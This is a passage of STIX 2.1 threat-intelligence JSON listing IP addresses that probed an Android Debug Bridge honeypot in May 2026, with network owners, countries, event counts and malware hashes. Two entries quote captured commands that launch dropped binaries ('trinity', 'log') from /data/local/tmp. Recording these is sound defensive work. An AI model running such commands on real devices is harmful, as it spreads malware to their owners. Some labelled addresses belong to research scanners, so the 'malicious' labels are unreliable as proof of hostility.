      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=12; ports=5555; cc=EE; asn=2586; asn_org=Elisa Eesti AS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=13 | first_seen=2026-05-29T10:54:46.000Z | last_seen=2026-05-29T11:04:50.799Z | ports=5555 | cc=EE | asn=2586 | org=Elisa Eesti AS",
      "id": "indicator--e22f2d19-00de-487c-bd03-46ccd7834ada",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '85.253.250.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T11:00:03.000Z",
      "valid_until": "2026-06-30T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 13,
          "first_seen": "2026-05-29T10:54:46.000Z",
          "last_seen": "2026-05-29T11:04:50.799Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "EE"
          ],
          "asn": [
            "2586"
          ],
          "org": [
            "Elisa Eesti AS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-29T12:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=17 | first_seen=2026-05-29T11:15:29.000Z | last_seen=2026-05-29T11:25:40.899Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--d4c7373e-53c5-4552-835b-a9107ef41e1a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.68.29.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T12:00:11.000Z",
      "valid_until": "2026-06-30T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 17,
          "first_seen": "2026-05-29T11:15:29.000Z",
          "last_seen": "2026-05-29T11:25:40.899Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-29T12:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=51; ports=5555; cc=MY; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=51 | first_seen=2026-05-29T11:50:13.000Z | last_seen=2026-05-29T11:52:16.382Z | ports=5555 | cc=MY | asn=45102 | org=Alibaba US Technology Co., Ltd.",
      "id": "indicator--da546be2-aecc-4616-97d7-ee96ff2cf14d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.250.42.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T12:00:11.000Z",
      "valid_until": "2026-06-30T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 51,
          "first_seen": "2026-05-29T11:50:13.000Z",
          "last_seen": "2026-05-29T11:52:16.382Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MY"
          ],
          "asn": [
            "45102"
          ],
          "org": [
            "Alibaba US Technology Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-29T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=151 | first_seen=2026-05-29T14:13:08.000Z | last_seen=2026-05-30T11:32:53.451Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--0ab77049-f57e-4c9c-9397-b22163d9e0d3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T15:00:03.000Z",
      "valid_until": "2026-06-30T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 151,
          "first_seen": "2026-05-29T14:13:08.000Z",
          "last_seen": "2026-05-30T11:32:53.451Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-29T22:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=PK; asn=17557; asn_org=Pakistan Telecommunication Company Limited; cats=Attempted Administrator Privilege Gain; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=11 | first_seen=2026-05-29T21:55:31.000Z | last_seen=2026-05-29T22:05:48.391Z | ports=5555 | cc=PK | asn=17557 | org=Pakistan Telecommunication Company Limited",
      "id": "indicator--7b8de1bb-b42a-4e94-9f10-9c2b0088c215",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '119.156.31.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T22:00:03.000Z",
      "valid_until": "2026-06-30T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 11,
          "first_seen": "2026-05-29T21:55:31.000Z",
          "last_seen": "2026-05-29T22:05:48.391Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PK"
          ],
          "asn": [
            "17557"
          ],
          "org": [
            "Pakistan Telecommunication Company Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-29T22:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=59; ports=5555; cc=CN; asn=56041; asn_org=China Mobile communications corporation; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-05. events=59 | first_seen=2026-05-29T21:44:37.000Z | last_seen=2026-05-29T21:57:01.921Z | ports=5555 | cc=CN | asn=56041 | org=China Mobile communications corporation | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--626101c2-7da7-4096-bfc5-a3dcbe03a3fd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '218.205.95.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T22:00:03.000Z",
      "valid_until": "2026-06-30T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 59,
          "first_seen": "2026-05-29T21:44:37.000Z",
          "last_seen": "2026-05-29T21:57:01.921Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56041"
          ],
          "org": [
            "China Mobile communications corporation"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-30T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-29T23:34:41.000Z | last_seen=2026-05-29T23:36:00.918Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--cbb0b81e-0416-4a30-a7fa-f71803ed61a9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T00:00:03.000Z",
      "valid_until": "2026-07-01T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-29T23:34:41.000Z",
          "last_seen": "2026-05-29T23:36:00.918Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-30T01:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=40; ports=5555; cc=AU; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=40 | first_seen=2026-05-30T00:39:55.000Z | last_seen=2026-05-30T00:40:12.679Z | ports=5555 | cc=AU | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--c95a1b2b-e47e-477c-889e-c84538f08039",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '134.199.154.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T01:00:04.000Z",
      "valid_until": "2026-07-01T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 40,
          "first_seen": "2026-05-30T00:39:55.000Z",
          "last_seen": "2026-05-30T00:40:12.679Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AU"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-30T01:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=AU; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-30T00:12:32.000Z | last_seen=2026-05-30T00:13:34.303Z | ports=5555 | cc=AU | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--26e2ae55-c26c-41f1-8583-ecfd8d1af2ba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '209.38.21.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T01:00:04.000Z",
      "valid_until": "2026-07-01T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-30T00:12:32.000Z",
          "last_seen": "2026-05-30T00:13:34.303Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AU"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-30T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=21; ports=5555; cc=CA; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=21 | first_seen=2026-05-30T02:09:57.000Z | last_seen=2026-05-30T02:20:14.587Z | ports=5555 | cc=CA | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--746133ee-5f06-41f4-94c8-4f90091ca3c3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '165.22.230.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T03:00:03.000Z",
      "valid_until": "2026-07-01T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 21,
          "first_seen": "2026-05-30T02:09:57.000Z",
          "last_seen": "2026-05-30T02:20:14.587Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-30T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-30T03:53:34.000Z | last_seen=2026-05-30T03:54:39.934Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--417b4bd7-3b29-44bc-9fd7-f695592756b3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T04:00:03.000Z",
      "valid_until": "2026-07-01T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-30T03:53:34.000Z",
          "last_seen": "2026-05-30T03:54:39.934Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-30T06:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-30T05:25:40.000Z | last_seen=2026-05-30T05:26:40.974Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--cf6fd41b-c159-4fd5-a96f-7a2bce49b3e0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.25.89.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T06:00:02.000Z",
      "valid_until": "2026-07-01T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-30T05:25:40.000Z",
          "last_seen": "2026-05-30T05:26:40.974Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-30T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-30T12:12:27.000Z | last_seen=2026-05-30T12:13:32.947Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--3c6efa04-1892-4ef1-8415-8bb8b6b26ad9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T13:00:02.000Z",
      "valid_until": "2026-07-01T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-30T12:12:27.000Z",
          "last_seen": "2026-05-30T12:13:32.947Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-30T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=CN; asn=24139; asn_org=Huashu media&Network Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=10 | first_seen=2026-05-30T14:17:34.000Z | last_seen=2026-05-30T14:27:46.920Z | ports=5555 | cc=CN | asn=24139 | org=Huashu media&Network Limited",
      "id": "indicator--2548f52c-acff-44b3-baa0-d0daf2575758",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '113.215.189.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T15:00:02.000Z",
      "valid_until": "2026-07-01T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 10,
          "first_seen": "2026-05-30T14:17:34.000Z",
          "last_seen": "2026-05-30T14:27:46.920Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "24139"
          ],
          "org": [
            "Huashu media&Network Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-30T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=CN; asn=24139; asn_org=Huashu media&Network Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=10 | first_seen=2026-05-30T14:22:39.000Z | last_seen=2026-05-30T14:32:52.487Z | ports=5555 | cc=CN | asn=24139 | org=Huashu media&Network Limited",
      "id": "indicator--afb794c2-e83c-4b3d-b90a-97b19a7b797d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '113.215.189.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T15:00:02.000Z",
      "valid_until": "2026-07-01T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 10,
          "first_seen": "2026-05-30T14:22:39.000Z",
          "last_seen": "2026-05-30T14:32:52.487Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "24139"
          ],
          "org": [
            "Huashu media&Network Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-30T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=62; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/log\"\n\nObserved in ADBHoney telemetry for 2026-05. events=62 | first_seen=2026-05-30T14:43:52.000Z | last_seen=2026-05-30T14:56:58.658Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone | related_hashes=608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971,7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865,d4e8c642ac8485d2ac316f16b5ed2285c93734c62a3e1bc2852a49f3737053c5,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--25ece546-07fc-4d21-8fe3-503861ac2957",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '153.3.160.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T15:00:02.000Z",
      "valid_until": "2026-07-01T15:00:01.000Z",
      "indicator_types": [
